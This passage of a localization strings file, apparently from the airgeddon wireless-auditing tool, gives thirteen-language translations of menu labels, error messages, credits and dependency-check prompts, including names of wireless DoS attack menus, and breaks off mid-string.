arr["ENGLISH",75]="Thanks to the \"Spanish pentesting crew\", to the \"Wifislax Staff\", to the forums people who help me, my collaborators, translators and specially to kcdtv, xpz3 and xtonousou for beta testing and support received" arr["SPANISH",75]="Gracias al \"Spanish pentesting crew\", al \"Wifislax Staff\", a la gente de los foros que me ayuda, a mis colaboradores, traductores y en especial a kcdtv, xpz3 y xtonousou por el beta testing y el apoyo recibido" arr["FRENCH",75]="Merci au \"Spanish pentesting crew\" , au \"Wifislax Staff\", aux gens des forums qui m'ont aidés, à mes collaborateurs, aux traducteurs et tout spécialement à kcdtv, xpz3 et xtonousou pour les tests en phase bêta et son soutien" arr["CATALAN",75]="Agraïments al \"Spanish pentesting crew\", al \"Wifislax Staff\", a la gent dels fòrums que m'ajuda, als meus col·laboradors, traductors i especialment al kcdtv, xpz3 i xtonousou per les proves beta i el suport rebut" arr["PORTUGUESE",75]="Agradecimentos a \"Spanish pentesting crew\", \"Wifislax Staff\", as pessoas dos fóruns por me ajudar, os colaboradores, tradutores e especialmente para kcdtv, xpz3 e xtonousou por testes beta e também a todo apoio recebido" arr["RUSSIAN",75]="Спасибо \"Spanish pentesting crew\", \"Wifislax Staff\", людям с форумов, которые мне помогают, моим коллобораторам, переводчикам и особенно kcdtv, xpz3 и xtonousou за бета тестирование и полученную поддержку" arr["GREEK",75]="Τις ευχαριστίες μου στην \"Ισπανική ομάδα pentesting\", στο \"Wifislax Staff\", στα άτομα από το forum που με βοηθάνε, στους συνεργάτες μου, στους μεταφραστές και ειδικά στον kcdtv, xpz3 και στον xtonousou για το beta testing και την υποστήριξη που λάβαμε" arr["ITALIAN",75]="Grazie alla \"Spanish pentesting crew\", a \"Wifislax Staff\", alla gente dei forum per aiutarmi, al mio staff, ai traduttori e soprattutto a kcdtv, xpz3 e xtonousou per il beta testing e il supporto ricevuto" arr["POLISH",75]="Podziękowania dla \"Spanish pentesting crew\", \"Wifislax Staff\", ludziom z forum którzy mi pomagają, moim współpracownikom, tłumaczom, a zwłaszcza kcdtv, xpz3 i xtonousou za testy beta i otrzymane wsparcie" arr["GERMAN",75]="Danke an die \"Spanish Pentesting Crew\", an den \"Wifislax Staff\", an die Leute in den Foren, die mir helfen, an meine Mitarbeiter, Übersetzer und besonders an kcdtv, xpz3 und xtonousou für den Beta-Test und die erhaltene Unterstützung" arr["TURKISH",75]="Teşekkürler \"Spanish pentesting crew\", to the \"Wifislax Staff\", to the forums people who help me, my collaborators, translators and specially to kcdtv, xpz3 and xtonousou for beta testing and support received" arr["ARABIC",75]="لاختبارات المرحلة التجريبية و دعمه xtonousou و xpz3 و kcdtv و الأشخاص في المنتديات الذين ساعدوني ، والمتعاونين معي ، والمترجمين وخاصةً \"Wifislax Staff\" و \"Spanish pentesting crew\" نشكر" arr["CHINESE",75]="感谢“西班牙渗透测试人员*”、“Wifislax 员工*”、论坛上帮助我的人、我的合作者、所有翻译人员,特别感谢 kcdtv、xpz3 和 xtonousou 的 beta 测试和支持" arr["ENGLISH",76]="Invalid menu option was chosen" arr["SPANISH",76]="Opción del menú no válida" arr["FRENCH",76]="Option erronée" arr["CATALAN",76]="Opció del menú no vàlida" arr["PORTUGUESE",76]="Opção inválida" arr["RUSSIAN",76]="Выбрана недействительная опция" arr["GREEK",76]="Επιλέχθηκε άκυρη επιλογή μενού" arr["ITALIAN",76]="Opzione del menú non valida" arr["POLISH",76]="Niewłaściwa opcja" arr["GERMAN",76]="Ungültige Menüoption" arr["TURKISH",76]="Geçersiz bir menü seçildi" arr["ARABIC",76]="اختيارغير صالح" arr["CHINESE",76]="选择了无效的菜单选项" arr["ENGLISH",77]="Invalid interface was chosen" arr["SPANISH",77]="Interfaz no válida" arr["FRENCH",77]="L'interface choisie n'existe pas" arr["CATALAN",77]="Interfície no vàlida" arr["PORTUGUESE",77]="Interface inválida" arr["RUSSIAN",77]="Был выбран недействительный интерфейс" arr["GREEK",77]="Επιλέχθηκε άκυρη διεπαφή" arr["ITALIAN",77]="Interfaccia non valida" arr["POLISH",77]="Nieprawidłowy interfejs" arr["GERMAN",77]="Ungültiges Interface" arr["TURKISH",77]="Geçersiz bir arayüz seçildi" arr["ARABIC",77]="واجهة غير صالحة" arr["CHINESE",77]="选择了无效的接口" arr["ENGLISH",78]="1. Change language" arr["SPANISH",78]="1. Cambiar idioma" arr["FRENCH",78]="1. Changer de langue" arr["CATALAN",78]="1. Canviar l'idioma" arr["PORTUGUESE",78]="1. Alterar idioma" arr["RUSSIAN",78]="1. Сменить язык" arr["GREEK",78]="1. Αλλαγή γλώσσας" arr["ITALIAN",78]="1. Cambiare la lingua" arr["POLISH",78]="1. Zmień język" arr["GERMAN",78]="1. Sprache ändern" arr["TURKISH",78]="1. Dil değiştir" arr["ARABIC",78]="1. تغيير اللغة" arr["CHINESE",78]="1. 更改语言" arr["ENGLISH",79]="1. English" arr["SPANISH",79]="1. Inglés" arr["FRENCH",79]="1. Anglais" arr["CATALAN",79]="1. Anglés" arr["PORTUGUESE",79]="1. Inglês" arr["RUSSIAN",79]="1. Английский" arr["GREEK",79]="1. Αγγλικά" arr["ITALIAN",79]="1. Inglese" arr["POLISH",79]="1. Angielski" arr["GERMAN",79]="1. Englisch" arr["TURKISH",79]="1. İngilizce" arr["ARABIC",79]="1. الإنجليزية" arr["CHINESE",79]="1. 英语" arr["ENGLISH",80]="2. Spanish" arr["SPANISH",80]="2. Español" arr["FRENCH",80]="2. Espagnol" arr["CATALAN",80]="2. Espanyol" arr["PORTUGUESE",80]="2. Espanhol" arr["RUSSIAN",80]="2. Испанский" arr["GREEK",80]="2. Ισπανικά" arr["ITALIAN",80]="2. Spagnolo" arr["POLISH",80]="2. Hiszpański" arr["GERMAN",80]="2. Spanisch" arr["TURKISH",80]="2. İspanyolca" arr["ARABIC",80]="2. الإسبانية" arr["CHINESE",80]="2. 西班牙语" arr["ENGLISH",81]="Select a language:" arr["SPANISH",81]="Selecciona un idioma:" arr["FRENCH",81]="Choisissez une langue:" arr["CATALAN",81]="Selecciona un idioma:" arr["PORTUGUESE",81]="Selecione um idioma:" arr["RUSSIAN",81]="Выберите язык:" arr["GREEK",81]="Επιλέξτε μία γλώσσα:" arr["ITALIAN",81]="Scegli una lingua:" arr["POLISH",81]="Wybierz język:" arr["GERMAN",81]="Wählen Sie eine Sprache:" arr["TURKISH",81]="Bir dil seçiniz:" arr["ARABIC",81]=":اختر لغة" arr["CHINESE",81]="请选择语言:" arr["ENGLISH",82]="Invalid language was chosen" arr["SPANISH",82]="Idioma no válido" arr["FRENCH",82]="Langue non valide" arr["CATALAN",82]="Idioma no vàlid" arr["PORTUGUESE",82]="Idioma inválido" arr["RUSSIAN",82]="Был выбран неверный язык" arr["GREEK",82]="Επιλέχθηκε άκυρη γλώσσα" arr["ITALIAN",82]="Lingua non valida" arr["POLISH",82]="Nieprawidłowy język" arr["GERMAN",82]="Ungültige Sprache" arr["TURKISH",82]="Yanlış bir dil seçildi" arr["ARABIC",82]="لغة غير صحيحة" arr["CHINESE",82]="选择了无效的语言,请重新输入" arr["ENGLISH",83]="Language changed to English" arr["SPANISH",83]="Idioma cambiado a Español" arr["FRENCH",83]="Le script sera maintenant en Français" arr["CATALAN",83]="Idioma canviat a Català" arr["PORTUGUESE",83]="Idioma alterado para Português" arr["RUSSIAN",83]="Язык изменён на русский" arr["GREEK",83]="Η γλώσσα άλλαξε στα Ελληνικά" arr["ITALIAN",83]="Lingua cambiata in Italiano" arr["POLISH",83]="Zmieniono język na Polski" arr["GERMAN",83]="Sprache wurde auf deutsch geändert" arr["TURKISH",83]="Dil Türkçe olarak değiştirildi" arr["ARABIC",83]="تغيرت اللغة إلى العربية" arr["CHINESE",83]="当前语言已更改为简体中文" arr["ENGLISH",84]="Enterprise attacks menu" arr["SPANISH",84]="Menú de ataques Enterprise" arr["FRENCH",84]="Menu d'attaque Entreprise" arr["CATALAN",84]="Menú d'atacs Enterprise" arr["PORTUGUESE",84]="Menu de ataques Enterprise" arr["RUSSIAN",84]="Меню Enterprise атак" arr["GREEK",84]="Μενού επιλογών Enterprise" arr["ITALIAN",84]="Menu dell'attacco Enterprise" arr["POLISH",84]="Menu ataków Enterprise" arr["GERMAN",84]="Enterprise-Angriffsmenü" arr["TURKISH",84]="Enterprise saldırı menüsü" arr["ARABIC",84]="Entreprise قائمة هجمات" arr["CHINESE",84]="企业级加密攻击菜单" arr["ENGLISH",85]="Contact us by mail, IRC, Discord, etc. More info here: \${normal_color}\${urlgithub_wiki}/Contact" arr["SPANISH",85]="Contáctanos por mail, IRC, Discord, etc. Más información aquí: \${normal_color}\${urlgithub_wiki}/Contact" arr["FRENCH",85]="Contactez-nous par e-mail, IRC, Discord, etc. Plus d'infos ici: \${normal_color}\${urlgithub_wiki}/Contact" arr["CATALAN",85]="Poseu-vos en contacte amb nosaltres per correu, IRC, Discord, etc. Més informació ací: \${normal_color}\${urlgithub_wiki}/Contact" arr["PORTUGUESE",85]="Contacte-nos por e-mail, IRC, Discord, etc. Mais informações em: \${normal_color}\${urlgithub_wiki}/Contact" arr["RUSSIAN",85]="Для связи с нами вы можете использовать электронную почту, IRC, Discord, и прочее. Больше информации здесь: \${normal_color}\${urlgithub_wiki}/Contact" arr["GREEK",85]="Επικοινωνήστε μαζί μας μέσω mail, IRC, Discord, κλπ. Περισσότερες πληροφορίες εδώ: \${normal_color}\${urlgithub_wiki}/Contact" arr["ITALIAN",85]="Contattaci via e-mail, IRC, Discord, ecc. Maggiori informazioni qui: \${normal_color}\${urlgithub_wiki}/Contact" arr["POLISH",85]="Skontaktuj się z nami za pośrednictwem poczty, IRC, Discord, itp. Więcej informacji tutaj: \${normal_color}\${urlgithub_wiki}/Contact" arr["GERMAN",85]="Kontaktieren Sie uns per E-Mail, IRC, Discord, etc. Mehr Infos hier: \${normal_color}\${urlgithub_wiki}/Contact" arr["TURKISH",85]="E-posta, IRC, Discord, vb. ile ile bize ulaşın. Daha fazla bilgi için: \${normal_color}\${urlgithub_wiki}/Contact" arr["ARABIC",85]="\${normal_color}\${urlgithub_wiki}/Contact \${pink_color}:إلخ. مزيد من المعلومات هنا: ، IRC ، Discord ، اتصل بنا عن طريق البريد" arr["CHINESE",85]="通过邮件、IRC、Discord 等方式联系我们。更多信息在这里: \${normal_color}\${urlgithub_wiki}/Contact" arr["ENGLISH",86]="Welcome" arr["SPANISH",86]="Bienvenid@" arr["FRENCH",86]="Bienvenue" arr["CATALAN",86]="Benvingut" arr["PORTUGUESE",86]="Bem-vindo" arr["RUSSIAN",86]="Добро пожаловать" arr["GREEK",86]="Καλως ορίσατε" arr["ITALIAN",86]="Benvenuti" arr["POLISH",86]="Witaj" arr["GERMAN",86]="Willkommen" arr["TURKISH",86]="Hoşgeldiniz" arr["ARABIC",86]="مرحبا" arr["CHINESE",86]="欢迎" arr["ENGLISH",87]="Change language" arr["SPANISH",87]="Cambiar idioma" arr["FRENCH",87]="Changer de langue" arr["CATALAN",87]="Canviar d'idioma" arr["PORTUGUESE",87]="Alterar idioma" arr["RUSSIAN",87]="Сменить язык" arr["GREEK",87]="Αλλάξτε γλώσσα" arr["ITALIAN",87]="Cambia la lingua" arr["POLISH",87]="Zmień język" arr["GERMAN",87]="Sprache ändern" arr["TURKISH",87]="Dili Değiştir" arr["ARABIC",87]="تغيير اللغة" arr["CHINESE",87]="设置语言" arr["ENGLISH",88]="Interface selection" arr["SPANISH",88]="Selección de interfaz" arr["FRENCH",88]="Sélection de l'interface" arr["CATALAN",88]="Selecció d'interfície" arr["PORTUGUESE",88]="Seleção de interface" arr["RUSSIAN",88]="Выбор интерфейса" arr["GREEK",88]="Επιλογή διεπαφής" arr["ITALIAN",88]="Selezione dell'interfaccia" arr["POLISH",88]="Wybór interfejsu" arr["GERMAN",88]="Interface-Auswahl" arr["TURKISH",88]="Arayüz seçimi" arr["ARABIC",88]="اختيار الواجهة" arr["CHINESE",88]="接口选择菜单" arr["ENGLISH",89]="\${mdk_command} amok action" arr["SPANISH",89]="Acción \${mdk_command} amok" arr["FRENCH",89]="Action \${mdk_command} amok" arr["CATALAN",89]="Acció \${mdk_command} amok" arr["PORTUGUESE",89]="Ação \${mdk_command} amok" arr["RUSSIAN",89]="\${mdk_command} amok в действии" arr["GREEK",89]="Ενέργεια \${mdk_command} amok" arr["ITALIAN",89]="Azione \${mdk_command} amok" arr["POLISH",89]="Akcja \${mdk_command} amok" arr["GERMAN",89]="\${mdk_command} amok Aktion" arr["TURKISH",89]="\${mdk_command} amok etkisi" arr["ARABIC",89]="\${mdk_command} amok فعل" arr["CHINESE",89]="\${mdk_command} amok 行动" arr["ENGLISH",90]="Aireplay deauth action" arr["SPANISH",90]="Acción aireplay deauth" arr["FRENCH",90]="Action aireplay deauth" arr["CATALAN",90]="Acció aireplay deauth" arr["PORTUGUESE",90]="Ação deauth aireplay" arr["RUSSIAN",90]="Деаутентификация Aireplay в действии" arr["GREEK",90]="Ενέργεια aireplay deauth" arr["ITALIAN",90]="Azione aireplay deauth" arr["POLISH",90]="Akcja aireplay deauth" arr["GERMAN",90]="Aireplay deauth Aktion" arr["TURKISH",90]="Aireplay deauth etkisi" arr["ARABIC",90]="Aireplay deauth فعل" arr["CHINESE",90]="Aireplay 解除身份验证行动" arr["ENGLISH",91]="WIDS / WIPS / WDS confusion action" arr["SPANISH",91]="Acción WIDS / WIPS / WDS confusion" arr["FRENCH",91]="Action WIDS / WIPS / WDS confusion" arr["CATALAN",91]="Acció WIDS / WIPS / WDS confusion" arr["PORTUGUESE",91]="Ação WIDS / WIPS / confusão WDS" arr["RUSSIAN",91]="Запутывание WIDS / WIPS / WDS в действии" arr["GREEK",91]="Ενέργεια σύγχυσης WIDS / WIPS / WDS" arr["ITALIAN",91]="Azione WIDS / WIPS / WDS confusion" arr["POLISH",91]="Akcja WIDS / WIPS / WDS confusion" arr["GERMAN",91]="WIDS / WIPS / WDS confusion Aktion" arr["TURKISH",91]="WIDS / WIPS / WDS confusion etkisi" arr["ARABIC",91]="WIDS / WIPS / WDS confusion فعل" arr["CHINESE",91]="WIDS / WIPS / WDS 混淆行动" arr["ENGLISH",92]="Beacon flood action" arr["SPANISH",92]="Acción Beacon flood" arr["FRENCH",92]="Action Beacon flood" arr["CATALAN",92]="Acció Beacon flood" arr["PORTUGUESE",92]="Ação Beacon flood" arr["RUSSIAN",92]="Beacon flood в действии" arr["GREEK",92]="Ενέργεια πλημμυρίσματος φάρου" arr["ITALIAN",92]="Azione Beacon flood" arr["POLISH",92]="Akcja Beacon flood" arr["GERMAN",92]="Beacon flood Aktion" arr["TURKISH",92]="Beacon flood etkisi" arr["ARABIC",92]="Beacon flood فعل" arr["CHINESE",92]="WiFi 信号信标伪造 DoS 行动" arr["ENGLISH",93]="Auth DoS action" arr["SPANISH",93]="Acción Auth DoS" arr["FRENCH",93]="Action Auth DoS" arr["CATALAN",93]="Acció Auth DoS" arr["PORTUGUESE",93]="Ação Auth DoS" arr["RUSSIAN",93]="DoS аутентификации в действии" arr["GREEK",93]="Ενέργεια Auth DoS" arr["ITALIAN",93]="Azione Auth DoS" arr["POLISH",93]="Akcja Auth DoS" arr["GERMAN",93]="Auth DoS Aktion" arr["TURKISH",93]="Auth DoS etkisi" arr["ARABIC",93]="Auth DoS فعل" arr["CHINESE",93]="授权 DoS 行动" arr["ENGLISH",94]="Michael Shutdown action" arr["SPANISH",94]="Acción Michael Shutdown" arr["FRENCH",94]="Action Michael Shutdown" arr["CATALAN",94]="Acció Michael Shutdown" arr["PORTUGUESE",94]="Ação Michael Shutdown" arr["RUSSIAN",94]="Michael Shutdown в действии" arr["GREEK",94]="Ενέργεια Michael Shutdown" arr["ITALIAN",94]="Azione Michael Shutdown" arr["POLISH",94]="Akcja Michael Shutdown" arr["GERMAN",94]="Michael Shutdown Aktion" arr["TURKISH",94]="Michael Shutdown etkisi" arr["ARABIC",94]="Michael Shutdown فعل" arr["CHINESE",94]="迈克尔关机 (TKIP) 行动" arr["ENGLISH",95]="\${mdk_command} amok parameters" arr["SPANISH",95]="Parámetros \${mdk_command} amok" arr["FRENCH",95]="Paramètres \${mdk_command} amok" arr["CATALAN",95]="Paràmetres \${mdk_command} amok" arr["PORTUGUESE",95]="Parâmetros \${mdk_command} amok" arr["RUSSIAN",95]="Параметры \${mdk_command} amok" arr["GREEK",95]="Παράμετροι \${mdk_command} amok" arr["ITALIAN",95]="Parametri \${mdk_command} amok" arr["POLISH",95]="Parametry \${mdk_command} amok" arr["GERMAN",95]="\${mdk_command} amok Parameter" arr["TURKISH",95]="\${mdk_command} amok parametreleri" arr["ARABIC",95]="\${mdk_command} amok معايير" arr["CHINESE",95]="\${mdk_command} amok 攻击参数" arr["ENGLISH",96]="Aireplay deauth parameters" arr["SPANISH",96]="Parámetros Aireplay deauth" arr["FRENCH",96]="Paramètres Aireplay deauth" arr["CATALAN",96]="Paràmetres Aireplay deauth" arr["PORTUGUESE",96]="Parâmetros Aireplay deauth" arr["RUSSIAN",96]="Параметры деаутентификации Aireplay" arr["GREEK",96]="Παράμετροι Aireplay deauth" arr["ITALIAN",96]="Parametri Aireplay deauth" arr["POLISH",96]="Parametry Aireplay deauth" arr["GERMAN",96]="Aireplay deauth Parameter" arr["TURKISH",96]="Aireplay deauth parametreleri" arr["ARABIC",96]="Aireplay deauth معايير" arr["CHINESE",96]="Aireplay 参数" arr["ENGLISH",97]="WIDS / WIPS / WDS parameters" arr["SPANISH",97]="Parámetros WIDS / WIPS / WDS" arr["FRENCH",97]="Paramètres WIDS / WIPS / WDS" arr["CATALAN",97]="Paràmetres WIDS / WIPS / WDS" arr["PORTUGUESE",97]="Parâmetros WIDS / WIPS / WDS" arr["RUSSIAN",97]="Параметры WIDS / WIPS / WDS" arr["GREEK",97]="Παράμετροι WIDS / WIPS / WDS" arr["ITALIAN",97]="Parametri WIDS / WIPS / WDS" arr["POLISH",97]="Parametry WIDS / WIPS / WDS" arr["GERMAN",97]="WIDS / WIPS / WDS Parameter" arr["TURKISH",97]="WIDS / WIPS / WDS parametreleri" arr["ARABIC",97]="WIDS / WIPS / WDS معايير" arr["CHINESE",97]="WIDS / WIPS / WDS 参数" arr["ENGLISH",98]="Beacon flood parameters" arr["SPANISH",98]="Parámetros Beacon flood" arr["FRENCH",98]="Paramètres Beacon flood" arr["CATALAN",98]="Paràmetres Beacon flood" arr["PORTUGUESE",98]="Parâmetros Beacon flood" arr["RUSSIAN",98]="Параметры Beacon flood" arr["GREEK",98]="Παράμετροι πλημμυρίσματος φάρου" arr["ITALIAN",98]="Parametri Beacon flood" arr["POLISH",98]="Parametry Beacon flood" arr["GERMAN",98]="Beacon flood Parameter" arr["TURKISH",98]="Beacon flood parametreleri" arr["ARABIC",98]="Beacon flood معايير" arr["CHINESE",98]="WiFi 信号信标伪造 DoS 攻击" arr["ENGLISH",99]="Auth DoS parameters" arr["SPANISH",99]="Parámetros Auth DoS" arr["FRENCH",99]="Paramètres Auth DoS" arr["CATALAN",99]="Paràmetres Auth DoS" arr["PORTUGUESE",99]="Parâmetros Auth DoS" arr["RUSSIAN",99]="Параметры аутентификации DoS" arr["GREEK",99]="Παράμετροι Auth DoS" arr["ITALIAN",99]="Parametri Auth DoS" arr["POLISH",99]="Parametry Auth DoS" arr["GERMAN",99]="Auth DoS Parameter" arr["TURKISH",99]="Auth DoS parametreleri" arr["ARABIC",99]="Auth DoS معايير" arr["CHINESE",99]="身份验证 DoS 参数" arr["ENGLISH",100]="Michael Shutdown parameters" arr["SPANISH",100]="Parámetros Michael Shutdown" arr["FRENCH",100]="Paramètres Michael Shutdown" arr["CATALAN",100]="Paràmetres Michael Shutdown" arr["PORTUGUESE",100]="Parâmetros Michael Shutdown" arr["RUSSIAN",100]="Параметры Michael Shutdown" arr["GREEK",100]="Παράμετροι Michael Shutdown" arr["ITALIAN",100]="Parametri Michael Shutdown" arr["POLISH",100]="Parametry Michael Shutdown" arr["GERMAN",100]="Michael Shutdown Parameter" arr["TURKISH",100]="Michael Shutdown parametreleri" arr["ARABIC",100]="Michael Shutdown معايير" arr["CHINESE",100]="迈克尔关机 (TKIP) 参数" arr["ENGLISH",101]="airgeddon ${normal_color}v${airgeddon_version}${green_color_title} main menu" arr["SPANISH",101]="Menú principal airgeddon ${normal_color}v${airgeddon_version}${green_color_title}" arr["FRENCH",101]="Menu principal d'airgeddon ${normal_color}v${airgeddon_version}${green_color_title}" arr["CATALAN",101]="Menú principal airgeddon ${normal_color}v${airgeddon_version}${green_color_title}" arr["PORTUGUESE",101]="Menu principal airgeddon ${normal_color}v${airgeddon_version}${green_color_title}" arr["RUSSIAN",101]="Главное меню airgeddon ${normal_color}v${airgeddon_version}${green_color_title}" arr["GREEK",101]="Αρχικό μενού airgeddon ${normal_color}v${airgeddon_version}${green_color_title}" arr["ITALIAN",101]="Menú principale airgeddon ${normal_color}v${airgeddon_version}${green_color_title}" arr["POLISH",101]="Menu główne airgeddon ${normal_color}v${airgeddon_version}${green_color_title}" arr["GERMAN",101]="airgeddon ${normal_color}v${airgeddon_version}${green_color_title} Hauptmenü" arr["TURKISH",101]="airgeddon ${normal_color}v${airgeddon_version}${green_color_title} ana menü" arr["ARABIC",101]="القائمة الرئيسية ${normal_color}v${airgeddon_version}${green_color_title} airgeddon" arr["CHINESE",101]="airgeddon ${normal_color}v${airgeddon_version}${green_color_title} 主菜单" arr["ENGLISH",102]="DoS attacks menu" arr["SPANISH",102]="Menú ataques DoS" arr["FRENCH",102]="Menu des attaques DoS" arr["CATALAN",102]="Menú d'atacs DoS" arr["PORTUGUESE",102]="Menu de ataques DoS" arr["RUSSIAN",102]="Меню DoS атак" arr["GREEK",102]="Μενού επιθέσεων DoS" arr["ITALIAN",102]="Menú attacchi DoS" arr["POLISH",102]="Menu ataków DoS" arr["GERMAN",102]="DoS-Angriffsmenü" arr["TURKISH",102]="DoS saldırı menüsü" arr["ARABIC",102]="DoS قائمة هجمات" arr["CHINESE",102]="DoS 攻击菜单" arr["ENGLISH",103]="Exploring for targets" arr["SPANISH",103]="Explorar para buscar objetivos" arr["FRENCH",103]="Détection pour trouver des cibles" arr["CATALAN",103]="Explorar per buscar objectius" arr["PORTUGUESE",103]="Procurar por redes wifi" arr["RUSSIAN",103]="Сканирование целей" arr["GREEK",103]="Εξερεύνηση στόχων" arr["ITALIAN",103]="Scansionare per cercare obiettivi" arr["POLISH",103]="Skanowanie w poszukiwaniu celów" arr["GERMAN",103]="Scans, um Ziele zu finden" arr["TURKISH",103]="Hedefler taranıyor" arr["ARABIC",103]="تصفح للعثور على الأهداف" arr["CHINESE",103]="扫描目标" arr["ENGLISH",104]="Select target" arr["SPANISH",104]="Seleccionar objetivo" arr["FRENCH",104]="Selection de l'objectif" arr["CATALAN",104]="Seleccionar objectiu" arr["PORTUGUESE",104]="Escolha um alvo" arr["RUSSIAN",104]="Выбор цели" arr["GREEK",104]="Επιλέξτε στόχο" arr["ITALIAN",104]="Selezionare obiettivo" arr["POLISH",104]="Wybierz cel" arr["GERMAN",104]="Wählen Sie das Ziel aus" arr["TURKISH",104]="Hedef seçiniz" arr["ARABIC",104]="حدد هدف" arr["CHINESE",104]="选择目标" arr["ENGLISH",105]="About & Credits" arr["SPANISH",105]="Acerca de & Créditos" arr["FRENCH",105]="A propos de & Crédits" arr["CATALAN",105]="Sobre de & Crédits" arr["PORTUGUESE",105]="Sobre & Créditos" arr["RUSSIAN",105]="О программе и Благодарности" arr["GREEK",105]="Σχετικά με & Εύσυμα" arr["ITALIAN",105]="Informazioni & Crediti" arr["POLISH",105]="Informacje & Podziękowania" arr["GERMAN",105]="About & Credits" arr["TURKISH",105]="Hakkımızda & Güven" arr["ARABIC",105]="بشأن ومنسوبات" arr["CHINESE",105]="关于 & 鸣谢 / 赞助" arr["ENGLISH",106]="Exiting" arr["SPANISH",106]="Saliendo" arr["FRENCH",106]="Sortie du script" arr["CATALAN",106]="Sortint" arr["PORTUGUESE",106]="Saindo" arr["RUSSIAN",106]="Выход" arr["GREEK",106]="Γίνεται έξοδος" arr["ITALIAN",106]="Uscendo" arr["POLISH",106]="Wychodzenie" arr["GERMAN",106]="Verlassen" arr["TURKISH",106]="Çıkış yapılıyor" arr["ARABIC",106]="الخروج من البرنامج" arr["CHINESE",106]="正在退出" arr["ENGLISH",107]="Join the project at \${normal_color}\${urlgithub}" arr["SPANISH",107]="Únete al proyecto en \${normal_color}\${urlgithub}" arr["FRENCH",107]="Rejoignez le projet: \${normal_color}\${urlgithub}" arr["CATALAN",107]="Uneix-te al projecte a \${normal_color}\${urlgithub}" arr["PORTUGUESE",107]="Junte-se ao projeto em \${normal_color}\${urlgithub}" arr["RUSSIAN",107]="Присоединитесь к проекту на \${normal_color}\${urlgithub}" arr["GREEK",107]="Συμμετέχετε στο project \${normal_color}\${urlgithub}" arr["ITALIAN",107]="Unisciti al progetto in \${normal_color}\${urlgithub}" arr["POLISH",107]="Dołącz do projektu w \${normal_color}\${urlgithub}" arr["GERMAN",107]="Treten Sie das Projekt in \${normal_color}\${urlgithub} \${pink_color}bei" arr["TURKISH",107]="Projeye buradan katılın \${normal_color}\${urlgithub}" arr["ARABIC",107]="\${normal_color}\${urlgithub}\${pink_color} انضم إلى المشروع على" arr["CHINESE",107]="在 \${normal_color}\${urlgithub} 加入项目" arr["ENGLISH",108]="Let's check if you have installed what script needs" arr["SPANISH",108]="Vamos a chequear si tienes instalado lo que el script requiere" arr["FRENCH",108]="Nous allons vérifier si les dépendances sont bien installées" arr["CATALAN",108]="Anem a verificar si tens instal·lat el que l'script requereix" arr["PORTUGUESE",108]="Vamos verificar se você tem instalado tudo que o script exige" arr["RUSSIAN",108]="Давайте проверим, всё ли, что нужно скрипту, установлено" arr["GREEK",108]="Ας ελέγξουμε αν έχετε εγκαταστήσει ό,τι χρειάζεται το script" arr["ITALIAN",108]="Andiamo a verificare se è stato installato quello che richiede lo script" arr["POLISH",108]="Sprawdźmy czy jest zainstalowane to, czego wymaga skrypt" arr["GERMAN",108]="Lassen Sie uns überprüfen, ob Sie die vom Skript benötigte Paketen installiert sind" arr["TURKISH",108]="Hadi yazılımın ihtiyacı olan diğer yazılımları kontrol edelim" arr["ARABIC",108]="دعنا نتحقق مما إذا كنت قد قمت بتثبيت ما يحتاجه البرنامج" arr["CHINESE",108]="让我们检查一下你是否已经安装了脚本需要的软件包" arr["ENGLISH",109]="Essential tools: checking..." arr["SPANISH",109]="Herramientas esenciales: comprobando..." arr["FRENCH",109]="Vérification de la présence des outils nécessaires..." arr["CATALAN",109]="Eines essencials: comprovant..." arr["PORTUGUESE",109]="Verificando se as ferramentas necessárias estão presentes..." arr["RUSSIAN",109]="Основные инструменты: проверка..." arr["GREEK",109]="Απαραίτητα εργαλεία: γίνεται έλεγχος..." arr["ITALIAN",109]="Strumenti essenziali: controllando..." arr["POLISH",109]="Podstawowe narzędzia: sprawdzanie..." arr["GERMAN",109]="Wesentliche Werkzeuge: Überprüfung..." arr["TURKISH",109]="Temel araçlar: kontrol ediliyor..." arr["ARABIC",109]="...التحقق من وجود الأدوات اللازمة" arr["CHINESE",109]="必备工具: 检查中..." arr["ENGLISH",110]="Your distro has all necessary essential tools. Script can continue..." arr["SPANISH",110]="Tu distro tiene todas las herramientas esenciales necesarias. El script puede continuar..." arr["FRENCH",110]="Les outils essentiels nécessaires au bon fonctionnement du programme sont tous présents dans votre système. Le script peut continuer..." arr["CATALAN",110]="La teva distro té totes les eines essencials necessàries. El script pot continuar..." arr["PORTUGUESE",110]="Sua distro tem as ferramentas essenciais. O script pode continuar..." arr["RUSSIAN",110]="Ваша система имеет все необходимые основные инструменты. Скрипт может продолжать..." arr["GREEK",110]="Η διανομή σας έχει όλα τα απαραίτητα εργαλεία. Το script μπορεί να συνεχίσει..." arr["ITALIAN",110]="La tua distro ha tutti gli strumenti essenziali necessari. Lo script può continuare..." arr["POLISH",110]="Twój distro posiada wszystkie niezbędne niezbędne narzędzia. Skrypt może kontynuować..." arr["GERMAN",110]="Ihre Distribution verfügt über alle notwendigen Werkzeuge. Das Skript kann fortfahren..." arr["TURKISH",110]="Senin dağıtımın tüm gerekli temel araçları barındırıyor. Yazılım devam edebilir..." arr["ARABIC",110]="...الأدوات الأساسية اللازمة للتشغيل السليم للبرنامج كلها موجودة في نظامك. يمكن أن يستمر البرنامج" arr["CHINESE",110]="您的发行版已经安装了所有的脚本必备工具。脚本可以继续..." arr["ENGLISH",111]="You need to install some essential tools before running this script" arr["SPANISH",111]="Necesitas instalar algunas herramientas esenciales antes de lanzar este script" arr["FRENCH",111]="Vous devez installer quelques programmes avant de pouvoir lancer ce script" arr["CATALAN",111]="Necessites instal·lar algunes eines essencials abans d'executar aquest script" arr["PORTUGUESE",111]="Você precisa instalar algumas ferramentas essenciais antes de executar este script" arr["RUSSIAN",111]="Перед работой в этом скрипте, вам нужно установить некоторые основные инструменты" arr["GREEK",111]="Χρειάζεται να εγκαταστήσετε κάποια απαραίτητα εργαλεία πριν τρέξετε το script" arr["ITALIAN",111]="È necessario installare alcuni strumenti essenziali prima di lanciare questo script" arr["POLISH",111]="Przed uruchomieniem tego skryptu musisz zainstalować kilka niezbędnych narzędzi" arr["GERMAN",111]="Sie müssen einige wichtige Tools installieren, bevor Sie dieses Skript starten" arr["TURKISH",111]="Bu yazılımı çalıştırmadan önce bazı temel araçları yüklemeniz gerekmektedir" arr["ARABIC",111]="تحتاج إلى تثبيت بعض الأدوات الأساسية قبل تشغيل هذا البرنامج" arr["CHINESE",111]="在运行此脚本之前,您需要安装一些必要的工具" arr["ENGLISH",112]="WPA/WPA2 Enterprise networks are commonly used in corporate environments. They use a Radius server for authentication and unlike conventional networks require more elements for authentication, not just a password. They may require username, password and occasionally a certificate" arr["SPANISH",112]="Las redes 